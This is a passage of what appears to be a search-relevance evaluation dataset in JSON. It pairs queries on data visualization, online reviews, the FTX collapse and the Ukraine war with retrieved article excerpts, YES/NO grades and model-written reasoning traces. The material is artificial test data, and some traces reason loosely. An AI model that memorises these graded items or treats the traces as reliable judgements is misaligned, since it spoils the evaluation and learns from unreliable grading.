                "text": "Stay Informed With Our Weekly Newsletter \n Receive crucial updates on the ever-evolving landscape of technology and innovation. \n\t\t\n\t\t\t\t\n\t\t\t\t\n\t\n\tAs the digital world continues to evolve, the importance of data visualization has become increasingly apparent.\nWith the vast amount of data generated daily, presenting this data in a visually appealing and understandable manner is a highly sought-after skill.\nThis article explores various techniques for compelling data visualization, providing insights into communicating complex data simply and engagingly.\nUnderstanding data visualization\n \nData visualization translates complex data into a visual context, making it easier for the human brain to understand and interpret.\nIt uses graphical elements such as charts, graphs, and maps to represent data.\nThe main goal of data visualization is to make data-driven insights accessible, understandable, and usable.\nEffective data visualization can significantly enhance decision-making by revealing patterns, trends, and insights that might go unnoticed.\nIt can also communicate complex ideas simply and engagingly, making it an essential tool in business, science, and journalism.\n \nCreating compelling data visualizations requires combining technical skills, creativity, and a deep understanding of the data.\nHere are some techniques that can help create effective and engaging data visualizations.\nChoosing the right visualization type\nThe first step in creating a compelling data visualization is choosing the right type for your data.\nThe choice of visualization should be guided by the nature of the data and the message you want to convey.\nFor instance, bar charts are best for comparing quantities across categories, while line charts show trends over time.\nIt\u2019s important to remember that data visualization aims to simplify complex data, not to make it more complicated.\nTherefore, always opt for the simplest visualization to communicate your message effectively.\nUsing colour effectively\nColor is a powerful tool in data visualization. It c",
                "model_trace": "Query Decomposition:\n1. [emerging trends in data visualization]: The document does not mention emerging trends specifically -> ([0], UNSURE)\n2. [techniques in data visualization]: The document explores various techniques for compelling data visualization -> ([1], SATISFIED)\n3. [communicating complex scientific information]: The document discusses how data visualization can communicate complex ideas simply and engagingly, which can be applied to scientific information -> ([2], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to techniques in data visualization and communicating complex scientific information. The subcomponent related to emerging trends is tagged [0] and thus does not affect the evaluation. YES."
            }
        ]
    },
    {
        "query": "How have online reviews and ratings influenced consumer behavior and purchasing decisions?",
        "grid_pos": [
            1,
            0
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of topics that require a deep understanding of the internet, technology, and the world to answer well. They are specific and detailed, yet open-ended enough to test Exa's capabilities as a smart search engine. The queries touch on areas like AI, social media, ethics, consumer behavior, and data visualization - all of which are relevant and important topics that people frequently search for information on. Answering these queries well would require synthesizing information from multiple sources, understanding nuanced concepts, and drawing insights that go beyond simple factual retrieval."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Examining the influence of online reviews on consumers' decision-making: A heuristic\u2013systematic model",
                "url": "https://www.sciencedirect.com/science/article/abs/pii/S0167923614002097",
                "published_date": "2014-11-01",
                "text": "Abstract Along with the growth of Internet and electronic commerce, online consumer reviews have become an important source of information that assists consumers to make purchase decision. However, theoretical development and empirical testing in this area of research are still limited, which greatly hinder us from understanding the influence of online reviews. Drawing upon the heuristic\u2013systematic model from the literature of dual-process theories, we develop a research model to identify factors that are important to consumers' purchase decision-making. The model is empirically tested with 191 users of an existing online review site. We find that argument quality of online reviews (systematic factor), which is characterized by perceived informativeness and perceived persuasiveness, has a significant effect on consumers' purchase intention. In addition, we find that source credibility and perceived quantity of reviews (heuristic factors) have direct impacts on purchase intention. The two heuristic factors further demonstrate positive influences on argument strength. This result is consistent with the proposition of bias effect in the heuristic\u2013systematic model, which elucidates the interrelationship between heuristic and systematic factors. Based on the findings, we discuss implications for both researchers and practitioners. Introduction The advancements of Web 2.0 technologies have greatly facilitated the proliferation of online consumer reviews on the Internet. These reviews express consumers' evaluations and opinions of products and services. Online reviews have been distributed among various Internet media, including online sellers' websites, discussion forums, blogs, social networking sites, and online review sites [e.g., [16], [48], [76]]. Online reviews are increasingly treated as an importance information source that facilitates consumers to make purchase decision. A recent industry survey report from ChannelAdvisor [13] indicated that online reviews produce powerful influences. They found that 90% of on",
                "model_trace": "Query Decomposition:\n1. {Influence of online reviews and ratings on consumer behavior}: The document discusses how online reviews impact consumers' purchase decisions, including factors such as argument quality, source credibility, and perceived quantity of reviews -> ([1], SATISFIED)\n2. {Influence on purchasing decisions}: The document explicitly mentions that online reviews have a significant effect on consumers' purchase intentions, which directly relates to purchasing decisions -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "How Online Reviews Influence Sales Medill Spiegel Research Center",
                "url": "https://spiegel.medill.northwestern.edu/how-online-reviews-influence-sales/",
                "published_date": "2021-04-15",
                "text": "Evidence of the Power of Online Reviews to Shape Customer Behavior\n\nAs part of Medill Spiegel Research Center\u2019s (SRC) ongoing, multi-faceted exploration of consumer engagement, we have spearheaded research into the financial impact of consumer engagement via online reviews. We found that online reviews have a significant and quantifiable impact on purchase decisions \u2013 but the degree of that impact depends on a number of factors, such as star ratings, the nature of the review content, the number of reviews, the price of the item, and the source of the review. These findings have powerful implications for retailers and their suppliers as they think about how to collect, manage, and promote online reviews of their products and services.\n\nQuestions We Address\n\nWhat is the upside impact of online reviews on sales? What\u2019s the downside impact? Are higher ratings always better predictors of increases in sales? Does familiarity with the product category alter the influence of reviews? Is there an optimal number of reviews? If so, how many? Should brands prompt purchasers to submit reviews? Do reviews from verified buyers have greater impact on sales than those from anonymous sources?\n\nInsights into How Online Reviews Affect Purchase Decisions\n\nAs products begin displaying reviews, conversion rates escalate rapidly. The purchase likelihood for a product with five reviews is 270% greater than the purchase likelihood of a product with no reviews. But having more reviews isn\u2019t necessarily better, after a point. The marginal benefit of additional reviews begins diminishing rapidly after the first five reviews.\n\nHigher-Priced Products, Higher Conversion Impact\n\nReviews have a greater impact on purchase likelihood for higher-priced items than cheaper ones. Our research found that when reviews were displayed for a lower-priced product, the conversion rate increased 190%. However, for a higher-priced product, the conversion rate increased 380%.\n\nIs five stars \u201ctoo good to be true\u201d in the eyes of consumers? According to our researc",
                "model_trace": "Query Decomposition:\n1. [Influence of online reviews on consumer behavior]: The document discusses the significant and quantifiable impact of online reviews on purchase decisions -> ([1], SATISFIED)\n2. [Influence of online ratings on consumer behavior]: The document mentions star ratings as a factor influencing purchase decisions -> ([1], SATISFIED)\n3. [Impact on purchasing decisions]: The document provides detailed insights on how online reviews affect purchase decisions, including conversion rates and the impact of the number of reviews -> ([1], SATISFIED)\n\nAssessment: All key subcomponents tagged with [1] are SATISFIED. The document provides comprehensive insights into how online reviews and ratings influence consumer behavior and purchasing decisions. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://spiegel.medill.northwestern.edu/wp-content/uploads/sites/2/2021/04/Spiegel_Online-Review_eBook_Jun2017_FINAL.pdf",
                "published_date": null,
                "text": "https://spiegel.medill.northwestern.edu/wp-content/uploads/sites/2/2021/04/Spiegel_Online-Review_eBook_Jun2017_FINAL.pdf\n\nNone\nNone\nHow Online Reviews \nInfluence Sales\n \\ Evidence of the Power of Online Reviews to Shape Customer Behavior\nData-Driven Insights on How Retailers Can Maximize the Value of \nTheir Engagement With Consumers Through Online Reviews2 \\ How Online Reviews Influence Sales \\ spiegel.medill.northwestern.edu\nQUESTIONS WE ADDRESS\n\u2022 What is the upside impact of online reviews \non sales? What\u2019s the downside impact?\n\u2022 Are higher ratings always better predictors \nof increases in sales? \n\u2022 Does familiarity with the product category \nalter the influence of reviews? \n\u2022 Is there an optimal number of reviews? \nIf so, how many?\n\u2022 Should brands prompt purchasers \nto submit reviews? \n\u2022 Do reviews from verified buyers have \ngreater impact on sales than those from \nanonymous sources?\n\\ Executive Summary\nInsights into How Online Reviews Affect \nPurchase Decisions\nWith nearly 95% of shoppers reading online \nreviews before making a purchase, reviews \nhave transformed the way consumers make \npurchase decisions.* But reviews are more \nthan just a way for shoppers to gather \ninformation. Reviews are a powerful form of \nconsumer engagement. \nNorthwestern University\u2019s Spiegel Research \nCenter has been at the forefront of answering \nquestions about how consumers engage with \nbrands and how that engagement shapes \ncustomer value since 2011.\nAs part of Spiegel\u2019s ongoing, multi-faceted \nexploration of consumer engagement, \nwe have spearheaded research into the \nfinancial impact of consumer engagement \nvia online reviews. \nIn this research, we set out to answer \ntwo main questions:\n\u2022 Do online reviews affect sales? \n\u2022 If so, in what ways, by how much, \nand under what circumstances? \nWe have found that online reviews have \na significant and quantifiable impact on \npurchase decisions \u2013 but the degree of that \nimpact depends on a number of factors, \nsuch as star ratings, the nature of the review \ncontent, the number of review",
                "model_trace": "Query Decomposition:\n1. {How have online reviews and ratings influenced consumer behavior}: The document discusses the impact of online reviews on consumer behavior, including how reviews shape customer behavior and engagement -> ([1], SATISFIED)\n2. {How have online reviews and ratings influenced purchasing decisions}: The document provides insights into how online reviews affect purchase decisions, including the financial impact and circumstances under which reviews affect sales -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing detailed insights into how online reviews and ratings influence consumer behavior and purchasing decisions. YES"
            },
            {
                "grade": "YES",
                "title": "The Impact of Online Reviews on Consumers' Purchasing ...",
                "url": "https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2022.865702/full",
                "published_date": null,
                "text": "Introduction\nE-commerce has grown substantially over the past years and has become increasingly important in our daily life, especially under the influence of COVID-19 recently (Hasanat et al., 2020). In terms of online shopping, consumers are increasingly inclined to obtain product information from reviews. Compared with the official product information provided by the sellers, reviews are provided by other consumers who have already purchased the product via online shopping websites (Baek et al., 2012). Meanwhile, there is also an increasing trend for consumers to share their shopping experiences on the network platform (Floh et al., 2013). In response to these trends, a large number of studies (Floh et al., 2013; Lackermair et al., 2013; Kang et al., 2020; Chen and Ku, 2021) have investigated the effects of online reviews on purchasing intention. These studies have yielded strong evidence of the valence intensity of online reviews on purchasing intention. Lackermair et al. (2013), for example, showed that reviews and ratings are an important source of information for consumers. Similarly, through investigating the effects of review source and product type, Bae and Lee (2011) concluded that a review from an online community is the most credible for consumers seeking information about an established product. Since reviews are comments from consumers\u2019 perspectives and often describe their experience using the product, it is easier for other consumers to accept them, thus assisting their decision-making process (Mudambi and Schuff, 2010).\nA survey conducted by Zhong-Gang et al. (2015) reveals that nearly 60% of consumers browse online product reviews at least once a week and 93% of whom believe that these online reviews help them to improve the accuracy of purchase decisions, reduce the risk of loss and affect their shopping options. When it comes to e-consumers in commercial activities on B2B and B2C platforms, 82% of the consumers read product reviews before making shopping choices, and 60% of them refer to comm",
                "model_trace": "Query Decomposition:\n1. [How online reviews and ratings have influenced consumer behavior]: The document discusses the increasing trend of consumers obtaining product information from reviews and the impact of review valence on purchasing intention, which directly addresses this subcomponent -> ([1], SATISFIED).\n2. [How online reviews and ratings have influenced purchasing decisions]: The document provides evidence and studies showing that reviews and ratings are important sources of information for consumers and that they assist in the decision-making process, directly addressing this subcomponent -> ([1], SATISFIED).\n\nAssessment: Both key subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "The Impact of Online Reviews on Consumers' Purchasing ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9216200/",
                "published_date": null,
                "text": "Journal List\n                \n            \n                \n                    Front Psychol\n                \n            \n                \n                    PMC9216200\n                \n            \n    \n \n        \n        \n  \n        \n            Front Psychol. 2022; 13: 865702.    Abstract This study investigated the impact of online product reviews on consumers purchasing decisions by using eye-tracking. The research methodology involved (i) development of a conceptual framework of online product review and purchasing intention through the moderation role of gender and visual attention in comments, and (ii) empirical investigation into the region of interest (ROI) analysis of consumers fixation during the purchase decision process and behavioral analysis. The results showed that consumers\u2019 attention to negative comments was significantly greater than that to positive comments, especially for female consumers. Furthermore, the study identified a significant correlation between the visual browsing behavior of consumers and their purchase intention. It also found that consumers were not able to identify false comments. The current study provides a deep understanding of the underlying mechanism of how online reviews influence shopping behavior, reveals the effect of gender on this effect for the first time and explains it from the perspective of attentional bias, which is essential for the theory of online consumer behavior. Specifically, the different effects of consumers\u2019 attention to negative comments seem to be moderated through gender with female consumers\u2019 attention to negative comments being significantly greater than to positive ones. These findings suggest that practitioners need to pay particular attention to negative comments and resolve them promptly through the customization of product/service information, taking into consideration consumer characteristics, including gender.  Keywords:  online reviews, eye-tracking, consumers purchasing decisions, emotion valence, gender    Introduction E-commerce ",
                "model_trace": "Query Decomposition:\n1. [Influence of online reviews on consumer behavior]: The document specifically investigates the impact of online product reviews on consumers' purchasing decisions, making this subcomponent clearly met -> ([1], SATISFIED)\n2. [Influence of online ratings on consumer behavior]: The document does not explicitly mention ratings, focusing instead on reviews and comments -> ([0], UNSURE)\n3. [Influence on purchasing decisions]: The document provides empirical evidence on how online reviews affect purchasing decisions, including the role of visual attention and gender -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are [Influence of online reviews on consumer behavior] and [Influence on purchasing decisions]. Both are satisfied, making the document useful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "How Online Reviews Influence Sales - Spiegel Research Center",
                "url": "https://spiegel.medill.northwestern.edu/how-online-reviews-influence-sales/",
                "published_date": null,
                "text": "Evidence of the Power of Online Reviews to Shape Customer Behavior\t \n\t\n\t\n\tAs part of Medill Spiegel Research Center\u2019s (SRC) ongoing, multi-faceted exploration of consumer engagement, we have spearheaded research into the financial impact of consumer engagement via online reviews. We found that online reviews have a significant and quantifiable impact on purchase decisions \u2013 but the degree of that impact depends on a number of factors, such as star ratings, the nature of the review content, the number of reviews, the price of the item, and the source of the review. These findings have powerful implications for retailers and their suppliers as they think about how to collect, manage, and promote online reviews of their products and services.\t\n\t\n\t\n\t Questions We Address\t \n\t\n\t\n\t\n\t What is the upside impact of online reviews on sales? What\u2019s the downside impact? Are higher ratings always better predictors of increases in sales? Does familiarity with the product category alter the influence of reviews? Is there an optimal number of reviews? If so, how many? Should brands prompt purchasers to submit reviews? Do reviews from verified buyers have greater impact on sales than those from anonymous sources? \t\n\t\n\t\t\n\t\n\t\n\t\n\t\n\t Insights into How Online Reviews Affect Purchase Decisions\t \n\t\n\t\n\t\n\tAs products begin displaying reviews, conversion rates escalate rapidly. The purchase likelihood for a product with five reviews is 270% greater than the purchase likelihood of a product with no reviews. But having more reviews isn\u2019t necessarily better, after a point. The marginal benefit of additional reviews begins diminishing rapidly after the first five reviews.\n\t\n\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t Higher-Priced Products, Higher Conversion Impact\t \n\t\n\t\n\tReviews have a greater impact on purchase likelihood for higher-priced items than cheaper ones. Our research found that when reviews were displayed for a lower-priced product, the conversion rate increased 190%. However, for a higher-priced product, the conversion rate increased 380%.\n\t\n\t\n\t\n\t\t\n\t\n\t\n\t\n\t",
                "model_trace": "Query Decomposition:\n1. [Influence of online reviews on consumer behavior]: The document discusses how online reviews shape customer behavior, including their impact on purchase decisions -> ([1], SATISFIED)\n2. [Influence of online ratings on consumer behavior]: The document mentions star ratings as a factor influencing purchase decisions, which can be inferred to include ratings -> ([2], SATISFIED)\n3. [Influence of online reviews on purchasing decisions]: The document provides specific data on how reviews affect purchase likelihood and conversion rates -> ([1], SATISFIED)\n4. [Influence of online ratings on purchasing decisions]: The document includes information on the impact of ratings on sales and purchase decisions -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides detailed insights into how online reviews and ratings influence consumer behavior and purchasing decisions. YES."
            }
        ]
    },
    {
        "query": "What are the latest developments in the investigations into the collapse of the cryptocurrency exchange FTX?",
        "grid_pos": [
            1,
            1
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a range of current events and news topics that require a deep understanding of the context and nuance to answer well. They touch on geopolitics, supply chain issues, energy markets, climate change, and financial regulation - all areas that Exa should be able to handle with its strong knowledge of the internet and the world.\n\nThe queries are specific and detailed, testing Exa's ability to comprehend complex information and provide relevant, up-to-date news summaries. They do not have a single, simple answer, but rather require synthesizing multiple sources and perspectives to fully address."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "SECOND INTERIM REPORT OF JOHN J. RAY III TO THE INDEPENDENT DIRECTORS: THE COMMINGLING AND MISUSE OF CUSTOMER DEPOSITS AT FTX.COM",
                "url": "https://storage.courtlistener.com/recap/gov.uscourts.deb.188450/gov.uscourts.deb.188450.1704.1.pdf",
                "published_date": null,
                "text": "The rise of the global digital asset industry has created novel opportunities and challenges for consumers, businesses, financial markets, regulators, and others. Rapid advances in blockchain technology have made decentralized finance and digital asset transactions not only possible, but widely accessible and inexpensive for consumers. At the same time, the industry has grappled with challenges common to all businesses that handle financial assets, which can be used to facilitate criminal activity, can be stolen by hackers and, as the FTX Group's collapse has revealed, can be misappropriated by those who have promised to protect them. 1 The FTX Group portrayed itself as the vanguard of customer protection efforts in the crypto industry. Its co-founder and CEO, Sam Bankman-Fried, claimed to support federal legislation to safeguard consumers' digital assets, and touted the FTX exchanges' purported procedures to protect fiat currency and crypto deposits, including in testimony he provided to the U.S. Senate. In 2021, the FTX Group released, and urged Congress to read, its \"key principles\"\n\nfor regulation of the crypto industry, which included the primary goals of \"ensuring customer and investor protection, promoting market integrity, preventing financial crimes, and ensuring overall system safety and soundness.\" 2 In an accompanying press release, Bankman-Fried declared \"the protection of investors and the public as a top priority\" for the FTX exchanges.\n\n1\n\nThe \"FTX Group\" refers to FTX Trading Ltd., West Realm Shires Services Inc., d/b/a FTX.US, Alameda Research LLC, and their directly and indirectly owned subsidiaries. \"The Debtors\" comprise the approximately one hundred entities associated with the FTX Group listed at https://restructuring.ra.kroll.com/FTX. Crypto-Trading Platforms, PR NEWSWIRE (Dec. 3, 2021), https://www.prnewswire.com/news-releases/ftx-issueskey-principles-for-market-regulation-of-crypto-trading-platforms-301437175.html; FTX US, FTX's Key Principles for Market Regulation of Crypto-Trading Plat",
                "model_trace": "Query Decomposition:\n1. {latest developments}: The document is an interim report, which suggests it contains recent findings or updates -> ([1], SATISFIED)\n2. {investigations into the collapse of the cryptocurrency exchange FTX}: The document specifically addresses the misuse of customer deposits at FTX.com and the commingling of funds, which are central issues in the investigation into the collapse of FTX -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. It provides recent updates and detailed information about the investigations into the collapse of FTX. YES."
            },
            {
                "grade": "NO",
                "title": "WSJ News Exclusive | Crypto Exchange FTX in Talks to Acquire Stake in BlockFi",
                "url": "https://www.wsj.com/articles/crypto-exchange-ftx-in-talks-to-acquire-stake-in-blockfi-11656083179?mod=article_inline",
                "published_date": "2022-06-24",
                "text": "Wall Street Has Been Betting Billions on Crypto. Here\u2019s Why. You may also like Keep hovering to play WSJ\u2019s Dion Rabouin explains why Wall Street is now betting big on crypto and what that means for the new asset class and its future. Photo composite: Elizabeth Smelov By Justin Baer and Paul Vigna Updated June 24, 2022 2:06 pm ET Your browser does not support the audio tag. AD Loading advertisement... This article is in your queue. Crypto billionaire Sam Bankman-Fried has become a lender of last resort to his beleaguered industry. He may end up owning large chunks of it as well. Mr. Bankman-Fried\u2019s crypto exchange, FTX, is in talks to acquire a stake in BlockFi, a crypto lender that FTX gave a $250 million credit line this week, people familiar with the matter said. His other company, Alameda Research, also acquired a big ownership stake in Canadian crypto broker Voyager Digital Ltd. What's News Pfizer Is in Early-Stage Talks to Acquire Seagen 6 hours ago Lab Leak Most Likely Origin of Covid, U.S. Agency Now Says 12 hours ago Continue reading your article witha WSJ membership\n\nPresidents Day Sale\n\n$1 per week\n\nSubscribe Now Already a member? Sign In Sponsored Offers TurboTax: TurboTax service code 2023 - $20 off adidas: Weekend Sale: Up to 60% Off + Free Shipping | adidas Promo Code Nike: 60% off running shoes and apparel at Nike without a promo code Wayfair: Wayfair promo code: 10% off any single purchase The Motley Fool: Sign up to Stock Advisor for $79 for 1 year",
                "model_trace": "Query Decomposition:\n1. [latest developments]: The document discusses recent events related to FTX, specifically its talks to acquire a stake in BlockFi, which is a recent development -> ([1], SATISFIED)\n2. [investigations into the collapse of the cryptocurrency exchange FTX]: The document does not mention any investigations into the collapse of FTX, as it focuses on FTX's business dealings and acquisitions -> ([0], UNSATISFIED).\n\nAssessment: The relevant subcomponent is [latest developments], which is satisfied. However, the key subcomponent [investigations into the collapse of the cryptocurrency exchange FTX] is tagged [0] and thus ignored in the final evaluation. Since the document does not address the user's primary intent regarding investigations into the collapse of FTX, it is not helpful. NO."
            },
            {
                "grade": "YES",
                "title": "Exhibit A \u2013 #1704, Att. #1 in FTX Trading Ltd. (Bankr. D. Del., 22-11068) \u2013 CourtListener.com",
                "url": "https://www.courtlistener.com/docket/65748821/1704/1/ftx-trading-ltd/",
                "published_date": "2023-06-26",
                "text": "Case 22-11068-JTD Doc 1704-1 Filed 06/26/23 Page 1 of 36\n Exhibit A\n Case 22-11068-JTD Doc 1704-1 Filed 06/26/23 Page 2 of 36\nSECOND INTERIM REPORT OF JOHN J. RAY III TO THE\n INDEPENDENT DIRECTORS:\n THE COMMINGLING AND MISUSE OF CUSTOMER\n DEPOSITS AT FTX.COM\n June 26, 2023\n Case 22-11068-JTD Doc 1704-1 Filed 06/26/23 Page 3 of 36\n TABLE OF CONTENTS\n Page\nI. INTRODUCTION ...............................................................................................................1\nII. THE FTX GROUP\u2019S REPRESENTATIONS ABOUT THE PROTECTION OF\n CUSTOMER DEPOSITS ....................................................................................................3\n A. Background on the Separation of Customer and Corporate Funds..........................4\n B. Statements to U.S. Officials, the Public and Other Third Parties ............................5\nIII. THE COMMINGLING OF CUSTOMER DEPOSITS .......................................................7\n A. The Primary Deposit Accounts ..............................................................................10\n B. Commingling of Funds from the Primary Deposit Accounts ................................14\n C. Lack of Commitment in Terms of Service to Protect Customer Deposits ............16\n D. Falsity of Claim to Reconcile Trading Balances ...................................................17\nIV. THE ROLE OF ATTORNEY-1 IN FACILITATING THE COMMINGLING OF\n CUSTOMER DEPOSITS ..................................................................................................17\n A. False Statements to a U.S. Bank ............................................................................18\n B. Retaliation against an Employee Who Raised Concerns about\n Commingling .........................................................................................................19\n C. Creation of the Sham Payment Agent Agreement .................................................20\nV. USE OF COMMINGLED FUNDS FOR THE FTX GROUP\u2019S OWN\n EXPENDITURES .............................................",
                "model_trace": "Query Decomposition:\n1. {latest developments}: The document is dated June 26, 2023, which is relatively recent -> ([1], SATISFIED)\n2. {investigations into the collapse of the cryptocurrency exchange FTX}: The document is a court report detailing the misuse and commingling of customer deposits at FTX, which is directly related to the investigations into the collapse of FTX -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it provides recent information and details about the investigations into the collapse of FTX. YES."
            },
            {
                "grade": "YES",
                "title": "FTX customers to get funds back after catastrophic crypto collapse",
                "url": "https://apnews.com/article/ftx-crypto-bankman-fried-creditor-6365ceb2565deb891da9b268db94b7a8",
                "published_date": null,
                "text": "FTX says that nearly all of its customers will receive the money back that they are owed, two years after the cryptocurrency exchange imploded, and some will get more than that.  FTX said in a court filing late Tuesday that it owes about $11.2 billion to its creditors. The exchange estimates that it has between $14.5 billion and $16.3 billion to distribute to them. The filing said that after paying claims in full, the plan provides for supplemental interest payments to creditors, to the extent that funds still remain. The interest rate for most creditors is 9%. That may be a diminished consolation for investors who were trading cryptocurrency on the exchange when it collapsed. When FTX sought bankruptcy protection in November 2022, bitcoin was going for $16,080. But crypto prices have soared as the economy recovered while the assets at FTX were sorted out over the past two years. A single bitcoin on Tuesday was selling for close to $62,675. That comes out to a 290% loss, a bit less than that if accrued interest is counted, if those investors had held onto those coins. \nCustomers and creditors that claim $50,000 or less will get about 118% of their claim, according to the plan, which was filed with the U.S. Bankruptcy Court for the District of Delaware. This covers about 98% of FTX customers.\nFTX said that it was able to recover funds by monetizing a collection of assets that mostly consisted of proprietary investments held by the Alameda or FTX Ventures businesses, or litigation claims.\nFTX was the third-largest cryptocurrency exchange in the world when it filed for protection in November 2022 after it experienced the crypto equivalent of a bank run.  CEO and founder Sam Bankman-Fried resigned when the exchange collapsed. In March he was to 25 years in prison for the massive fraud that occurred at FTX.  Bankman-Fried was of fraud and conspiracy \u2014 a dramatic fall from a crest of success that included a Super Bowl advertisement, testimony before Congress and celebrity endorsements from stars like quarterback Tom Br",
                "model_trace": "Query Decomposition:\n1. [latest developments]: The document discusses recent developments, including a court filing and updates on fund recovery -> ([1], SATISFIED)\n2. [investigations into the collapse of the cryptocurrency exchange FTX]: The document mentions the collapse, the bankruptcy filing, and the sentencing of Sam Bankman-Fried, which are part of the broader investigation -> ([1], SATISFIED)\n\nAssessment: The document provides recent updates on the FTX collapse, including financial recovery efforts and legal outcomes, satisfying both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "FTX Downfall: Full Coverage - CoinDesk",
                "url": "https://www.coindesk.com/ftx-news-coverage/",
                "published_date": null,
                "text": "The Latest News on the FTX Downfall            Who's Who in the FTX Inner Circle   FTX collapsed. These were the players closest to the implosion.         Nov 22, 2022 at 2:53 p.m. UTC   Nov 22, 2022            The Epic Collapse of Sam Bankman-Fried's FTX Exchange: A Crypto Markets Timeline   Tracing the CoinDesk Market Index (CMI) through key news developments in the swift unraveling of billionaire Sam Bankman-Fried's crypto empire shows just how quickly the specu...        Nov 12, 2022 at 4:01 p.m. UTC   Nov 12, 2022            Sam Bankman-Fried's Self-Incrimination Tour   The disgraced man-child\u2019s media apology tour may sway the underinformed. But it can only hurt Bankman-Fried where it counts \u2013 in the courtroom.        Dec 2, 2022 at 6:25 p.m. UTC   Dec 2, 2022            Former FTX US President Is Seeking Funds for Crypto Startup: Report   Brett Harrison is trying to raise $6 million at a $60 million company valuation, The Information reported.        Dec 2, 2022 at 6:16 p.m. UTC   Dec 2, 2022            FTX\u2019s Collapse Was a Crime, Not an Accident   Sam Bankman-Fried is a con man and fraudster of historic proportions. But you might not learn that from the New York Times, CoinDesk's Chief Insights Columnist David Z. Morris...        Nov 30, 2022 at 7:15 p.m. UTC   Nov 30, 2022            Full Transcript: NY Times' Interview With Sam Bankman-Fried   Bankman-Fried said during the interview he did not \"knowingly commingle\" customer funds.        Dec 1, 2022 at 12:53 a.m. UTC   Dec 1, 2022            Sam Bankman-Fried Addresses Withdrawals, FTX Collapse in Newly Released Audio Interview   The FTX founder said he unpaused Bahamian FTX withdrawals to \u201cappease\u201d local customers and added his lawyers to the groups of people he said can \u201cgo f**k themselves.\u201d        Nov 29, 2022 at 5:57 p.m. UTC   Nov 29, 2022            FTX Direct Clearing Plan Was Nowhere Close to Being Approved, CFTC Chief Says   Rostin Behnam, the agency's chairman, did say FTX executives met frequently with the regulator.        Nov 28, 2022 at 2:0",
                "model_trace": "Query Decomposition:\n1. [latest developments]: The document contains various dates and mentions recent events related to FTX, so it is likely to cover the latest developments -> ([1], SATISFIED)\n2. [investigations into the collapse of the cryptocurrency exchange FTX]: The document discusses various aspects of the FTX collapse, including key players, timelines, and statements from Sam Bankman-Fried, which are relevant to investigations -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied as the document provides recent updates and relevant information about the investigations into the collapse of FTX. YES."
            },
            {
                "grade": "YES",
                "title": "Sam Bankman-Fried and the Collapse of FTX - The New York Times",
                "url": "https://www.nytimes.com/news-event/ftx-sbf-crypto",
                "published_date": null,
                "text": "Advertisement  SKIP ADVERTISEMENT                 Highlights                                                    Big CITY                                                     Advertisement  SKIP ADVERTISEMENT         Latest                         Introducing: \u2018DealBook Summit\u2019  This new podcast features a selection of interviews from the 2023 DealBook Summit event, hosted by Andrew Ross Sorkin. By                             Guilty on All Counts, Bankman-Fried Completes a Fall From Grace  The verdict in the FTX founder\u2019s fraud trial leaves the crypto industry\u2019s onetime poster child facing a lifetime behind bars. By                     Bankman-Fried\u2019s Risky Defense Strategy Faces Another Big Test  The fallen crypto mogul\u2019s decision to take the stand was long seen as a gamble. That risk will come into focus again on Tuesday as his testimony continues. By",
                "model_trace": "Query Decomposition:\n1. [latest developments]: The document mentions recent events such as the verdict in the FTX founder\u2019s fraud trial and ongoing testimony, indicating it covers recent developments -> ([1], SATISFIED)\n2. [investigations into the collapse of the cryptocurrency exchange FTX]: The document discusses the trial and defense strategy of Sam Bankman-Fried, which are directly related to the investigations into the collapse of FTX -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied as the document provides information on the latest developments and the investigations into the collapse of FTX. YES."
            }
        ]
    },
    {
        "query": "What are the latest updates on the ongoing war in Ukraine and its impact on the global energy markets?",
        "grid_pos": [
            1,
            1
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a range of current events and news topics that require a deep understanding of the context and nuance to answer well. They touch on geopolitics, supply chain issues, energy markets, climate change, and financial regulation - all areas that Exa should be able to handle with its strong knowledge of the internet and the world.\n\nThe queries are specific and detailed, testing Exa's ability to comprehend complex information and provide relevant, up-to-date news summaries. They do not have a single, simple answer, but rather require synthesizing multiple sources and perspectives to fully address."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Russian Invasion of Ukraine: Ukraine Updates: U.S. and Britain Ban Gold Imports From Russia",
                "url": "https://www.nytimes.com/live/2022/06/26/world/russia-ukraine-war-news",
                "published_date": "2022-06-26",
                "text": "Image Credit...Alexander Manzyuk/Reuters The United States and other Group of 7 countries will ban imports of gold from Russia, seeking to undercut a key source of revenue for Moscow as it wages war in Ukraine, President Biden said on Sunday as G7 leaders gathered in the Bavarian Alps. \u201cTogether, the G7 will announce that we will ban the import of Russian gold, a major export that rakes in tens of billions of dollars for Russia,\u201d Mr. Biden wrote on Twitter. The United States has imposed unprecedented costs on Putin to deny him the revenue he needs to fund his war against Ukraine. Together, the G7 will announce that we will ban the import of Russian gold, a major export that rakes in tens of billions of dollars for Russia. \u2014 President Biden (@POTUS) June 26, 2022 \n A senior administration official told reporters that the move would be formally announced on Tuesday, and that it would help to further isolate Russia from the international financial system. It is the latest in a series of economic sanctions imposed by Ukraine\u2019s allies, including a crackdown on oil exports, Russia\u2019s largest source of export revenue. Russia is one of the world\u2019s biggest gold producers, and the metal is its second most valuable export after energy products. Most of those exports go to G7 countries, particularly Britain, through the gold trading hub of London. Prime Minister Boris Johnson 